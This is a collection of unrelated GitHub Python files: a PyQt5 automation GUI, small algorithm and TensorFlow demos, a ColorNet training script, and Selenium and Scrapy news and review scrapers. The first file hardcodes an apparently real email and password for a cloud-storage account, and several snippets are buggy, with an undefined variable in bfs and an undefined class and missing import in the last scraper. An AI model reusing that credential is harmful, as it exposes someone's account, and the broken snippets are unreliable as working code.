+{"seq_id":"36981413410","text":"import sys\nfrom time import sleep\nfrom PyQt5 import (uic, QtGui)\nfrom PyQt5.Qt import (QApplication, QThread, pyqtSignal)\nfrom PyQt5.QtCore import (QObject, Qt)\nfrom PyQt5.QtWidgets import (\n    QMainWindow)\nfrom lib import log, Config, JianGuoYun, Other\n#  from my_qt_material import apply_stylesheet\n\n\nclass Console_Stream(QObject):\n    console_signal = pyqtSignal(str)  # 定义一个发送str的信号\n\n    def write(self, text):\n        self.console_signal.emit(str(text))\n        QApplication.processEvents()  # 实时更新UI界面\n\n\nclass MyThread(QThread):\n    def __init__(self, func=None, args=None, obj=None, signal=None):\n        super(MyThread, self).__init__()\n        # 要执行的函数\n        self.func = func\n        # 函数参数\n        self.fun_args = args\n        # 函数对应的对象\n        self.fun_object = obj\n        # 给对象设置信号\n        if self.fun_object:\n            self.fun_object.set_script_message = signal\n\n    def run(self):\n        ''' 执行对应的任务 '''\n        try:\n            if not self.func:\n                raise Exception(\"没有功能被执行\")\n            if self.fun_args:\n                result = self.func(self.fun_args)\n            else:\n                result = self.func()\n        except Exception as e:\n            if \"停止线程\" in str(e):\n                if self.fun_object:\n                    log.info(f\"{self.fun_object.index}号模拟器脚本已停止\")\n            else:\n                log.exception(e)\n            result = False\n\n\nclass Function_Run(QObject):\n\n    def __init__(self):\n        super().__init__()\n        self.jgy = JianGuoYun(\"1403341393@qq.com\", \"abhdwrkfxxrnhnyf\")\n        # 线程对象列表\n        self.thread_list = []\n        self.list2 = []\n        self.main_thread = None\n\n    def start_script(self, args):\n        log.info(\"启动脚本\")\n        ''' 启动脚本(后期优化成可选择功能) '''\n        if self.main_thread and self.main_thread.fun_object.thread_status == \"运行\":\n            log.info(\"脚本运行中\")\n            return True\n        elif self.main_thread and self.main_thread.fun_object.thread_status == \"暂停\":\n            self.main_thread.fun_object.thread_status = \"运行\"\n            log.info(\"脚本恢复运行\")\n            return True\n        elif not self.main_thread:\n            from fun_module import VncAuto\n            fun_object = VncAuto()\n            self.main_thread = MyThread(func=fun_object.main, obj=fun_object)\n        self.main_thread.fun_args = args[\"script_args\"]\n        self.main_thread.start()\n        sleep(0.1)\n\n    def set_thread_status(self, args):\n        ''' 设置脚本状态 '''\n        status = args[\"status\"]\n        if self.main_thread and self.main_thread.isRunning():\n            if self.main_thread.fun_object:\n                self.main_thread.fun_object.thread_status = status\n                log.info(f\"{status}请求发送\")\n            return True\n\n    def stop_thread(self):\n        if self.main_thread:\n            self.main_thread.quit()\n\nclass mainwindow(QMainWindow):\n    def __init__(self):\n        super().__init__()\n        # 加载UI\n        self.ui = uic.loadUi(\"./input/mainwindow.ui\")\n        # 初始化控制台输出流\n        self.init_stdout()\n        # 初始化数据\n        self.init_data()\n        # 初始化功能函数\n        self.init_run()\n        # 初始化线程\n        self.init_thread()\n        # 初始化UI事件\n        self.init_event()\n        # 初始化连接\n        self.init_connect()\n        # 初始化UI\n        self.init_ui()\n\n    def get_ui_object_value(self, id_list=[]):\n        ''' 获取UI对象的值 '''\n        ui_object_param = {}\n        for ui_object_id in id_list:\n            ui_object = getattr(self.ui, ui_object_id, False)\n            if not ui_object:\n                continue\n            if \"QCheckBox\" in ui_object.metaObject().className():\n                value = ui_object.isChecked()\n            elif \"QLineEdit\" in ui_object.metaObject().className():\n                value = ui_object.text()\n                if Other.is_number(value) == \"int\":\n                    value = int(value)\n                elif Other.is_number(value) == \"float\":\n                    value = float(value)\n            elif \"QTextEdit\" in ui_object.metaObject().className():\n                value = ui_object.toPlainText()\n            elif \"QComboBox\" in ui_object.metaObject().className():\n                value = ui_object.currentText()\n            else:\n                value = None\n            ui_object_param[ui_object_id] = value\n        return ui_object_param\n\n    def get_ui_object(self):\n        ''' 获取UI对象 '''\n        ui_key_list = [\"btn_\", \"checkbox_\", \"cmb\", \"text_\", \"table_\", \"input_\"]\n        ui_object_list = []\n        for attr in dir(self.ui):\n            for key in ui_key_list:\n                # 根据UI对象名获取\n                if key in attr:\n                    # print(attr)\n                    ui_object_list.append(getattr(self.ui, attr))\n        #  print(ui_object_list)\n        return ui_object_list\n\n    def save_data(self):\n        for ui_object in self.ui_object_list:\n            if \"QCheckBox\" in ui_object.metaObject().className():\n                self.config.set(\n                    \"ui_config\", ui_object.objectName(), str(ui_object.isChecked()))\n            elif \"QLineEdit\" in ui_object.metaObject().className():\n                self.config.set(\n                    \"ui_config\", ui_object.objectName(), str(ui_object.text()))\n            elif \"QTextEdit\" in ui_object.metaObject().className():\n                self.config.set(\n                    \"ui_config\", ui_object.objectName(), str(ui_object.toPlainText()))\n            elif \"QComboBox\" in ui_object.metaObject().className():\n                self.config.set(\n                    \"ui_config\", ui_object.objectName(), ui_object.currentText())\n        self.config.write()\n\n    def init_data(self):\n        # 控制变量\n        self.pos_enable = False\n        self.finish_status = False\n        # 初始化配置模块\n        self.config = Config()\n        # 获取所有UI对象\n        self.ui_object_list = self.get_ui_object()\n        # 获取UI配置\n        ui_config = self.config.get(\"ui_config\")\n        # 恢复数据\n        for key, value in ui_config:\n            ui_object = getattr(self.ui, key, False)\n            if not ui_object:\n                continue\n            if \"QCheckBox\" in ui_object.metaObject().className():\n                if \"False\" in value:\n                    value = False\n                else:\n                    value = True\n                ui_object.setChecked(value)\n            elif \"QLineEdit\" in ui_object.metaObject().className():\n                ui_object.setText(value)\n            elif \"QTextEdit\" in ui_object.metaObject().className():\n                ui_object.setText(value)\n            elif \"QComboBox\" in ui_object.metaObject().className():\n                ui_object.setCurrentText(value)\n\n    def init_thread(self):\n        # UI功能线程\n        self.run_thread = MyThread()\n        # 坐标线程\n        self.pos_thread = MyThread()\n\n    def init_run(self):\n        # 功能模块\n        self.fc_run = Function_Run()\n\n    def init_event(self):\n        # 关闭事件\n        self.ui.closeEvent = self.closeEvent\n        self.ui.showEvent = self.showEvent\n\n    def init_stdout(self):\n        sys.stdout = Console_Stream(console_signal=self.console_output)\n        sys.stderr = Console_Stream(console_signal=self.console_output)\n        if hasattr(log, \"setSteam\"):\n            log.handlers[1].setStream(sys.stdout)\n        else:\n            log.handlers[1].stream = sys.stdout\n\n    def init_connect(self):\n        ''' 按钮连接 '''\n        # 模拟器操作\n        self.ui.btn_start_script.clicked.connect(\n            lambda: self.task_manage({\n                \"name\": self.fc_run.start_script,\n                \"args\": {\n                    \"script_args\": {\n                        \"test\":\"1\"\n                        }\n                }\n            }))\n        self.ui.btn_pause_script.clicked.connect(\n            lambda: self.task_manage({\n                \"name\": self.fc_run.set_thread_status,\n                \"args\": {\n                    \"status\":\"暂停\"\n                }\n            }))\n        self.ui.btn_stop_script.clicked.connect(\n            lambda: self.task_manage({\n                \"name\": self.fc_run.set_thread_status,\n                \"args\": {\n                    \"status\":\"停止\"\n                }\n            }))\n        self.ui.btn_pos_enable.clicked.connect(\n            lambda: self.task_manage({\n                \"name\": self.switch_pos_enable\n            }))\n        self.ui.btn_exit.clicked.connect(self.quit)\n\n    def init_ui(self):\n        self.pos_thread.func = self.show_position\n        self.pos_thread.start()\n        # 窗口置顶\n        self.ui.setWindowFlags(Qt.WindowStaysOnTopHint)\n        # 窗口置顶\n        self.ui.setWindowIcon(QtGui.QIcon(\"./input/logo.ico\"))\n        # 窗口显示\n        self.ui.show()\n\n    def quit(self):\n        app = QApplication.instance()\n        app.quit()\n\n    def closeEvent(self, event):\n        ''' 关闭事件 '''\n        try:\n            self.save_data()\n            self.fc_run.stop_thread()\n            self.finish_status = True\n            sys.stdout = sys.__stdout__\n            sys.stderr = sys.__stderr__\n            if hasattr(log, \"setSteam\"):\n                log.handlers[1].setStream(sys.stdout)\n            else:\n                log.handlers[1].stream = sys.stdout\n        except Exception as e:\n            log.exception(e)\n\n    def console_output(self, text):\n        \"\"\" 输出日志到控制台 \"\"\"\n        cursor = self.ui.browser_console.textCursor()\n        cursor.movePosition(QtGui.QTextCursor.End)\n        cursor.insertText(text)\n        self.ui.browser_console.setTextCursor(cursor)\n        self.ui.browser_console.ensureCursorVisible()\n\n    def task_is_run(self):\n        ''' 判断线程是否正在运行 '''\n        return self.run_thread.isRunning()\n\n    def task_manage(self, task_info):\n        ''' 任务管理 '''\n        if self.task_is_run():\n            return False\n        self.run_thread.func = task_info[\"name\"]\n        if \"args\" in task_info:\n            self.run_thread.fun_args = task_info[\"args\"]\n        else:\n            self.run_thread.fun_args = None\n        self.run_thread.start()\n\n    def show_message(self, text):\n        ''' 显示状态栏消息 '''\n        self.ui.statusbar.showMessage(text)\n\n    def switch_pos_enable(self):\n        self.pos_enable = not self.pos_enable\n\n    def show_position(self):\n        from pyautogui import position\n        while not self.finish_status:\n            if not self.pos_enable:\n                sleep(0.1)\n                continue\n            pos = position()\n            self.ui.lab_pos.setText(f\"X:{pos.x}    Y:{pos.y}\")\n            sleep(0.1)\n\n\nif __name__ == \"__main__\":\n    app = QApplication(sys.argv)\n    #  import os\n    #  apply_stylesheet(app, theme='.xml',\n    #  path=os.getcwd()+os.sep+\"main.py\")\n    window = mainwindow()\n    sys.exit(app.exec_())\n","repo_name":"178me/python_demo","sub_path":"linux自动化操作录制/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"21148404214","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def sumRootToLeaf(self, root: TreeNode) -> int:\n        if not root:\n            return 0\n\n        acc = [0]\n        self.sumPath(root, root.val, acc)\n        return acc[0]\n\n    def sumPath(self, node: TreeNode, partial: int, acc: List[int]) -> int:\n        if not (node.left or node.right):\n            acc[0] += partial\n\n        if node.left:\n            self.sumPath(node.left, 2 * partial + node.left.val, acc)\n\n        if node.right:\n            self.sumPath(node.right, 2 * partial + node.right.val, acc)\n","repo_name":"nhatsmrt/AlgorithmPractice","sub_path":"LeetCode/1022. Sum of Root To Leaf Binary Numbers/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"}
+{"seq_id":"72811879148","text":"# coding: UTF-8\n'''''''''''''''''''''''''''''''''''''''''''''''''''''\n   file name: XOR.py\n   create time: Sun 16 Jul 2017 05:01:29 AM EDT\n   author: Jipeng Huang\n   e-mail: huangjipengnju@gmail.com\n   github: https://github.com/hjptriplebee\n   function: prove that linear model can't fit XOR\n'''''''''''''''''''''''''''''''''''''''''''''''''''''\nimport tensorflow as tf\nimport numpy as np\n\nX = np.array([[0, 0], [0, 1], [1, 0], [1, 1]])\nY = np.array([[0], [1], [1], [0]])\n\nx = tf.placeholder(tf.float32, [None, 2])\ny = tf.placeholder(tf.float32, [None, 1])\n\nw = tf.Variable(tf.random_normal([2, 1]))\nb = tf.Variable(tf.random_normal([1]))\n\nout = tf.matmul(x, w) + b\nloss = tf.reduce_mean(tf.square(out - y))\n\ntrain = tf.train.AdamOptimizer(0.01).minimize(loss)\n\nwith tf.Session() as sess:\n    sess.run(tf.global_variables_initializer())\n    for i in range(1000):\n        for j in range(4):\n            sess.run(train, feed_dict={x: np.expand_dims(X[j], 0), y: np.expand_dims(Y[j], 0)})\n        loss_ = sess.run(loss, feed_dict={x: X, y: Y})\n        print(\"step: %d, loss: %.3f\"%(i, loss_))\n    print(\"X: %r\"%X)\n    print(\"pred: %r\"%sess.run(out, feed_dict={x: X}))","repo_name":"exacity/simplified-deeplearning","sub_path":"深度前馈网络/src/XOR.py","file_name":"XOR.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":2463,"dataset":"github-code","pt":"37"}
+{"seq_id":"34910441531","text":"# guw = {  #graph_unequal_weights\n# 'A': [('B', 5), ('D', 9), ('E', 2)],\n# 'B': [('A', 5), ('C',2)],\n# 'C': [('B', 2), ('D', 3)],\n# 'D': [('C', 3), ('F', 2), ('A', 9)],\n# 'E': [('A', 2), ('F', 3)],\n# 'F': [('D', 2), ('E', 3)],\n# }\n\n# gew = {  #graph_equal_weights\n# 'A': ['B', 'G', 'K'],\n# 'B': ['A', 'C'],\n# 'C': ['B', 'D'],\n# 'D': ['C', 'F', 'E'],\n# 'E': ['D', 'H'],\n# 'F': ['G', 'D'],\n# 'G': ['A', 'F'],\n# 'H': ['I', 'E'],\n# 'I': ['H', 'J'],\n# 'J': ['K', 'I'],\n# 'K': ['A', 'J']\n# }\n\ngew = {  #graph_unequal_weights\n'A': [('B', 1), ('D', 1), ('E', 1)],\n'B': [('A', 1), ('C',1)],\n'C': [('B', 1), ('D', 1)],\n'D': [('C', 1), ('F', 1), ('A', 1)],\n'E': [('A', 1), ('F', 1)],\n'F': [('D', 1), ('E', 1)],\n}\n\n\n\n\nfrom collections import defaultdict\nfrom heapq import *\n\n# def dijkstra(graph, f, t):\n#\n#     q, seen, mins = [(0,f)], set(), {f: 0}\n#     while q:\n#         cost, node = heappop(q)\n#         if node not in seen:\n#             seen.add(node)\n#             if node == t: return cost\n#\n#             for nei in graph[node]:\n#                 if nei[0] in seen: continue\n#                 prev = mins.get(nei[0], None)\n#                 next = cost + nei[1]\n#                 if prev is None or next < prev:\n#                     mins[nei[0]] = next\n#                     heappush(q, (next, nei[0]))\n#     return float(\"inf\")\n\ndef bfs(graph, src, dest):\n    q = [(1, src, [src])]\n    seen = set()\n    res = None\n    seen.add(src)\n    minDist = float('inf')\n    while q:\n        dist, node, path = q.pop(0)\n        if node in seen: continue\n        if node not in seen:\n            seen.add(node)\n            if node == t:\n                if dist + 1 < minDist:\n                    minDist = dist+1\n            for nei in graph[node]:\n                q.append((dist+1, nei[0], path+[nei[0]]))\n\n\n    return minDist\n\n\n# print(\"Dijktras on unequal\", dijkstra(guw, 'A', 'D'))\n# print(\"Dijktras on equal\", dijkstra(gew, 'A', 'D' ))\n# print(\"bfs unequal weights\", bfs(guw, 'A', 'D'))\nprint(\"bfs equal weights\", bfs(gew, 'A', 'C'))\n","repo_name":"ashwin2509/Leetcode","sub_path":"GraphAlgos.py","file_name":"GraphAlgos.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"25457181723","text":"from __future__ import print_function\nimport argparse\nfrom math import log10\n\nimport os\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.backends.cudnn as cudnn\n\nfrom torch.utils.data import DataLoader\nimport numpy as np\n\nfrom colornet import ColorNet\nfrom data import get_training_colorset, get_test_colorset\nfrom tqdm import tqdm\n\nimport socket\nimport time\nfrom tensorboardX import SummaryWriter\nimport cv2\n\n# Training settings\nparser = argparse.ArgumentParser(description='PyTorch Super Res Example')\nparser.add_argument('--upscale_factor', type=int, default=4, help=\"super resolution upscale factor\")\n\n########################\nparser.add_argument('--batchSize', type=int, default=16, help='training batch size')\nparser.add_argument('--testBatchSize', type=int, default=16, help='testing batch size')\n########################\n\nparser.add_argument('--start_epoch', type=int, default=1, help='Starting epoch for continuing training')\nparser.add_argument('--nEpochs', type=int, default=500, help='number of epochs to train for')\nparser.add_argument('--snapshots', type=int, default=1, help='Snapshots')\nparser.add_argument('--lr', type=float, default=2e-4, help='Learning Rate. Default=0.0002')\nparser.add_argument('--lr_step', type=list, default=[200, 400, 500], help='Learning Rate. Default=0.0002')\nparser.add_argument('--gpu_mode', type=bool, default=True)\nparser.add_argument('--threads', type=int, default=32, help='number of threads for data loader to use')\nparser.add_argument('--seed', type=int, default=123, help='random seed to use. Default=123')\nparser.add_argument('--gpus', default=1, type=int, help='number of gpu')\nparser.add_argument('--data_dir', type=str, default='')\nparser.add_argument('--lr_dir', type=str, default='')\nparser.add_argument('--hr_dir', type=str, default='')\n\n########################\nparser.add_argument('--lr_flist', type=str, default='./train_lr.flist')\nparser.add_argument('--hr_flist', type=str, default='./train_hr.flist')\n########################\n\nparser.add_argument('--file_list', type=str, default='')\nparser.add_argument('--other_dataset', type=bool, default=True, help=\"use other dataset than vimeo-90k\")\nparser.add_argument('--future_frame', type=bool, default=True, help=\"use future frame\")\nparser.add_argument('--nFrames', type=int, default=1)\nparser.add_argument('--patch_size', type=int, default=0, help='0 to use original frame size')\nparser.add_argument('--data_augmentation', type=bool, default=True)\nparser.add_argument('--model_type', type=str, default='ColorNet')\nparser.add_argument('--residual', type=bool, default=False)\nparser.add_argument('--prefix', default='_video', help='Location to save checkpoint models')\n\n########################\nparser.add_argument('--pretrained_sr', default='color_ColorNet_video_best.pth', help='sr pretrained base model')\nparser.add_argument('--pretrained', type=bool, default=True)\nparser.add_argument('--save_folder', default='color_weights/', help='Location to save checkpoint models')\nparser.add_argument('--test_flist', type=str, default='./train_lr.flist', help='test_flist')\nparser.add_argument('--output', type=str, default='../train_color', help='test_save_folder')\nparser.add_argument('--test_only', type=bool, default=False, help='only test')\n########################\n\nopt = parser.parse_args()\ngpus_list = range(opt.gpus)\nhostname = str(socket.gethostname())\ncudnn.benchmark = True\nprint(opt)\nwriter = SummaryWriter('runs_' + opt.model_type)\nmin_loss = 100\nbest_epoch = 0\ndef train(epoch):\n    epoch_loss = 0\n    epoch_l1 = 0\n    epoch_ssim = 0\n    epoch_color = 0\n    model.train()\n    t0 = time.time()\n    for iteration, batch in tqdm(enumerate(training_data_loader, 1)):\n        input, target = batch[0], batch[1]\n        if cuda:\n            input = input.cuda()\n            target = target.cuda()\n\n\n        optimizer.zero_grad()\n        \n        prediction = model(input)\n        loss_color = criterion(prediction, target)\n        loss = loss_color\n        epoch_color += loss_color.item()\n\n        epoch_loss += loss.item()\n        loss.backward()\n        optimizer.step()\n\n\n    t1 = time.time()\n\n\n    print(\"===> Epoch {} Complete: Avg. Loss: {:.4f} L1. Loss: {:.4f} SSIM. Loss: {:.4f} Color. Loss: {:.4f}||| Timer: {:.4f} sec.\".format(epoch, epoch_loss / len(training_data_loader), epoch_l1 / len(training_data_loader),\n    epoch_ssim / len(training_data_loader), epoch_color / len(training_data_loader),(t1 - t0)))\n    avg_loss = (epoch_loss / len(training_data_loader))\n\n    return avg_loss\n\ndef convert_shape(img):\n    img = np.transpose((img * 255.0).round(), (1, 2, 0))\n    img = np.uint8(np.clip(img, 0, 255))\n    return img\n\n\ndef save_img(img, img_name, pred_flag):\n    save_img = img.squeeze().clamp(0, 1).numpy().transpose(1, 2, 0)\n\n    # save img\n    save_dir = os.path.join(opt.output, img_name.split('/')[-2])\n    if not os.path.exists(save_dir):\n        os.makedirs(save_dir)\n\n    save_fn = save_dir + '/' + img_name.split('/')[-1]\n    cv2.imwrite(save_fn, cv2.cvtColor(save_img * 255, cv2.COLOR_BGR2RGB), [cv2.IMWRITE_PNG_COMPRESSION, 0])\n\n\n\ndef eval():\n    model.eval()\n    for batch in tqdm(testing_data_loader):\n        input, file_index = batch[0], batch[1]\n\n        with torch.no_grad():\n            input = input.cuda()\n            prediction = model(input)\n\n        for i in range(len(file_index)):\n            save_img(prediction[i, :, :, :].cpu().data, img_names[file_index[i]], True)\n\ndef print_network(net):\n    num_params = 0\n    for param in net.parameters():\n        num_params += param.numel()\n    #print(net)\n    print('Total number of parameters: %d' % num_params)\n\ndef checkpoint(epoch, best=False):\n    os.makedirs(opt.save_folder, exist_ok=True)\n    if best:\n        model_out_path = opt.save_folder+'color_'+opt.model_type+opt.prefix+\"_best.pth\"\n    else:\n        model_out_path = opt.save_folder+'color_'+opt.model_type+opt.prefix+\"_epoch_{}.pth\".format(epoch)\n    torch.save(model.state_dict(), model_out_path)\n    print(\"Checkpoint saved to {}\".format(model_out_path))\n\ncuda = opt.gpu_mode\nif cuda and not torch.cuda.is_available():\n    raise Exception(\"No GPU found, please run without --cuda\")\n\ntorch.manual_seed(opt.seed)\nif cuda:\n    torch.cuda.manual_seed(opt.seed)\n\nprint('===> Loading datasets')\ntrain_set = get_training_colorset(opt.data_dir, opt.nFrames, opt.upscale_factor, opt.data_augmentation, opt.hr_flist, opt.lr_flist, opt.other_dataset, opt.patch_size, opt.future_frame)\ntraining_data_loader = DataLoader(dataset=train_set, num_workers=opt.threads, batch_size=opt.batchSize, shuffle=True)\ntest_set = get_test_colorset(opt.data_dir, opt.nFrames, opt.upscale_factor, opt.test_flist, opt.other_dataset, opt.future_frame)\ntesting_data_loader = DataLoader(dataset=test_set, num_workers=opt.threads, batch_size=opt.testBatchSize, shuffle=False)\nimg_names = [line.rstrip() for line in open(opt.test_flist)]\n\nprint('===> Building model ', opt.model_type)\nif opt.model_type == 'ColorNet':\n    model = ColorNet()\nmodel = torch.nn.DataParallel(model, device_ids=gpus_list)\ncriterion = nn.L1Loss()\n\n\nprint('---------- Networks architecture -------------')\nprint_network(model)\nprint('----------------------------------------------')\n\nif opt.pretrained or opt.test_only:\n    model_name = os.path.join(opt.save_folder + opt.pretrained_sr)\n    if os.path.exists(model_name):\n        model.load_state_dict(torch.load(model_name, map_location=lambda storage, loc: storage))\n        print('Pre-trained SR model is loaded.')\n\nif cuda:\n    model = model.cuda()\n    criterion = criterion.cuda()\nif not opt.test_only:\n    for _ in range(1):\n        optimizer = optim.Adam(model.parameters(), lr=opt.lr, betas=(0.9, 0.999), eps=1e-8)\n        scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, milestones=opt.lr_step, gamma=0.5)\n        for epoch in range(opt.start_epoch, opt.nEpochs + 1):\n            avg_loss = train(epoch)\n            scheduler.step()\n            if ((epoch+1) % (opt.snapshots) == 0) and epoch>0:\n                checkpoint(epoch)\n            if min_loss > avg_loss:\n                min_loss = avg_loss\n                checkpoint(epoch, best=True)\nelse:\n    eval()","repo_name":"sxpro/NAIC2019-AI-4KHDR-","sub_path":"color/main_color.py","file_name":"main_color.py","file_ext":"py","file_size_in_byte":8166,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"37"}
+{"seq_id":"40707560994","text":"#!/usr/bin/env python3\n#\n\nimport matplotlib.pyplot as plt\nfrom fealpy.pde.poisson_2d import CosCosData\nfrom fealpy.plotter import VTKPlotter\nfrom fealpy.plotter import meshactor\n\n\ndef simulation(queue=None):\n    pde = CosCosData()\n    mesh = pde.init_mesh(n=3, meshtype='tri')\n    if queue is not None:\n        queue.put({'mesh': mesh})\n    return mesh\n\n\n#plotter = VTKPlotter(shape=(1, 1), interactive=False, simulation=simulation)\n#plotter.run()\n\nplotter = VTKPlotter(shape=(1, 1), interactive=True)\nmesh = simulation()\nactor = meshactor(mesh)\nplotter.show(actor)\n\n#fig = plt.figure()\n#axes = fig.gca()\n#mesh.add_plot(axes)\n#plt.show()\n","repo_name":"weihuayi/fealpy","sub_path":"demo/mesh_vtk_demo.py","file_name":"mesh_vtk_demo.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":209,"dataset":"github-code","pt":"37"}
+{"seq_id":"20279873221","text":"\"\"\"Helpers execption class, to handle error responses\"\"\"\n\n\nclass InvalidUsage(Exception):\n    status_code = 400\n\n    def __init__(self, message, status_code=None, payload=None):\n        Exception.__init__(self)\n        self.message = message\n        if status_code is not None:\n            self.status_code = status_code\n        self.payload = payload\n\n    def to_dict(self):\n        \"\"\"to show the dict format for the error responses\"\"\"\n        rv = dict(self.payload or ())\n        rv['error'] = self.message\n        return rv\n","repo_name":"masete/sendit-persistent","sub_path":"api/Helpers/error_handlers.py","file_name":"error_handlers.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17313088366","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException\nfrom datetime import datetime, timedelta\nfrom Utils.error_handler import handle_scrape_errors\nfrom Utils.driver_options import create_option\nfrom Utils.write_to_list import writeScrapedData\nfrom globals import fileName, outputDateFormat\n\n\n@handle_scrape_errors\ndef scrapeDecrypt(targetNumWeek):\n    print('Starting scraping Decrypt...')\n    pageUrl = 'https://decrypt.co/news/technology'\n    isWithinSearchWeek = True\n    driver = webdriver.Chrome(options=create_option())\n    driver.get(pageUrl)\n    blogs_list = []\n\n    while (isWithinSearchWeek):\n        # Wait until all blogs are presented on the web\n        try:\n            articles = WebDriverWait(driver, 5).until(EC.presence_of_all_elements_located((By.CSS_SELECTOR, 'main > div > div:last-child > div > article > article')))\n        except TimeoutException:\n            print('Loading take too long')\n            break\n        # Get last post's date\n        last_article_date = articles[-1].find_element(By.CSS_SELECTOR, 'div:first-child > h4').text\n        last_article_date = datetime.strptime(last_article_date, '%b %d, %Y')\n\n        # Check for the last post's published date, if within the target week, keep loading more contents\n        if (datetime.now() - last_article_date) > timedelta(weeks=targetNumWeek):\n            # First article session\n            def scrapeFirstSession():\n                try:\n                    first_article = driver.find_element(By.CSS_SELECTOR, 'main > div > article > div > div > div:first-child > article > div:last-child')\n                except Exception:\n                    print(\"First article session not avaiable\")\n                    return\n                # print(first_article.text)\n                title = first_article.find_element(By.CSS_SELECTOR, 'div a.linkbox__overlay').get_attribute('innerText')\n                date = first_article.find_element(By.CSS_SELECTOR, 'div footer > div:first-child time:first-child').text\n                date = datetime.strptime(date, '%b %d, %Y')\n                link = first_article.find_element(By.CSS_SELECTOR, 'div a.linkbox__overlay').get_attribute('href')\n                if (datetime.now() - date) > timedelta(weeks=targetNumWeek):\n                    # Return True when enough post so that it can stop the loop\n                    return True\n                blogs_list.append([date.strftime(outputDateFormat), title, link])\n\n            if scrapeFirstSession():\n                break\n\n            # Second article session\n            def scrapeSecondSession():\n                try:\n                    second_articles = driver.find_elements(By.CSS_SELECTOR, 'main > div > article > div > div > div:not(:first-child) div.grow')\n                except Exception:\n                    print(\"Second article session not avaiable\")\n                    return\n                for article in second_articles:\n                    title = article.find_element(By.CSS_SELECTOR, 'div a.linkbox__overlay').get_attribute('innerText')\n                    date = article.find_element(By.CSS_SELECTOR, 'div footer > div:first-child time:first-child').text\n                    date = datetime.strptime(date, '%b %d, %Y')\n                    link = article.find_element(By.CSS_SELECTOR, 'div a.linkbox__overlay').get_attribute('href')\n                    if (datetime.now() - date) > timedelta(weeks=targetNumWeek):\n                        # Return True when enough post so that it can stop the loop\n                        return True\n                    blogs_list.append([date.strftime(outputDateFormat), title, link])\n\n            if scrapeSecondSession():\n                break\n\n            # Third article session\n            def scrapeThirdSession():\n                if not articles:\n                    print(\"Third article session not avaiable\")\n                    return\n\n                for article in articles:\n                    title = article.find_element(By.CSS_SELECTOR, 'div:last-child article h3 span').text\n                    date = datetime.strptime(article.find_element(By.CSS_SELECTOR, 'div:first-child > h4').text, '%b %d, %Y')\n                    link = article.find_element(By.CSS_SELECTOR, 'div:last-child article h3 a').get_attribute('href')\n                    if (datetime.now() - date) > timedelta(weeks=targetNumWeek):\n                        # Return True when enough post so that it can stop the loop\n                        return True\n                    blogs_list.append([date.strftime(outputDateFormat), title, link])\n\n            if scrapeThirdSession():\n                break\n\n            break\n\n        # Load more stories\n        load_more_btn = driver.find_element(By.CSS_SELECTOR, 'main > div > div:last-child > div > article button')\n        load_more_btn.send_keys(Keys.ENTER)\n\n    # Write data into file\n    writeScrapedData('Decrypt', fileName, blogs_list, targetNumWeek)\n    print('Scraping Decrypt Finished')\n    driver.quit()\n","repo_name":"OnlyUsePascal/PostScrawler","sub_path":"WebScrapers/decrypt.py","file_name":"decrypt.py","file_ext":"py","file_size_in_byte":5222,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"26357148120","text":"import scrapy\nfrom soup import Reader\nfrom scrapy.crawler import CrawlerProcess\nimport threading\nimport time\nimport multiprocessing\nimport logging\n\nclass pageReviews(scrapy.Spider):\n    name = \"ScraperWithLimit\"\n\n    def __init__(self, domain=None, commonUrls = [],*args, **kwargs):\n        self.urls = domain\n        commonUrls = set(commonUrls)\n        self.commonUrls =commonUrls;\n\n    def start_requests(self):\n        for url in self.urls:\n            yield scrapy.Request(url=url, callback=self.parse)\n\n    def parse(self, response):\n        start = time.time()\n        try:\n            phone_name = response.meta['phone_name']\n            reviews = response.xpath('//div[contains(@id,\"customer_review\")]')\n            if os.path.exists(phone_name+'.txt'):\n                append_write = 'a'\n            else:\n                append_write = 'w'\n\n            for review in reviews:\n                review_text = ' '.join(review.xpath('.//span[contains(@data-hook,\"review-body\")]/text()').extract())\n                print(review_text)\n            next_page_url = response.xpath('//li[contains(@class,\"a-last\")]/a/@href').extract_first()\n            absolute_next_page_url = response.urljoin(next_page_url)\n        except Exception as error:\n            print('An error occured.')\n            print(error)\n        end = time.time()\n        print(end - start)\n\n        print(\"#############################\")\n\n    def process(urls):\n        process = CrawlerProcess({\n            'USER_AGENT': 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'\n        })\n        process.crawl(Comments, domain=[\"https://gadgets.ndtv.com/mobiles/smartphones\"],commonUrls=urls)\n        process.start()\n\nif __name__ == '__main__':\n    logging.getLogger('scrapy').setLevel(logging.WARNING)\n    logging.getLogger('scrapy').propagate = False\n    process = CrawlerProcess({\n        'USER_AGENT': 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'\n    })\n\n    process.crawl(Comments, domain=[\"https://www.amazon.in/gp/product/B07J2394DS/ref=s9_acsd_simh_hd_bw_b1yBwdz_c_x_w?pf_rd_m=A1K21FY43GMZF8&pf_rd_s=merchandised-search-11&pf_rd_r=D1ETTWGXA46FYD2AHTR8&pf_rd_t=101&pf_rd_p=764d4603-56b1-52ff-9323-2047ecb59e4e&pf_rd_i=1805560031\"])\n    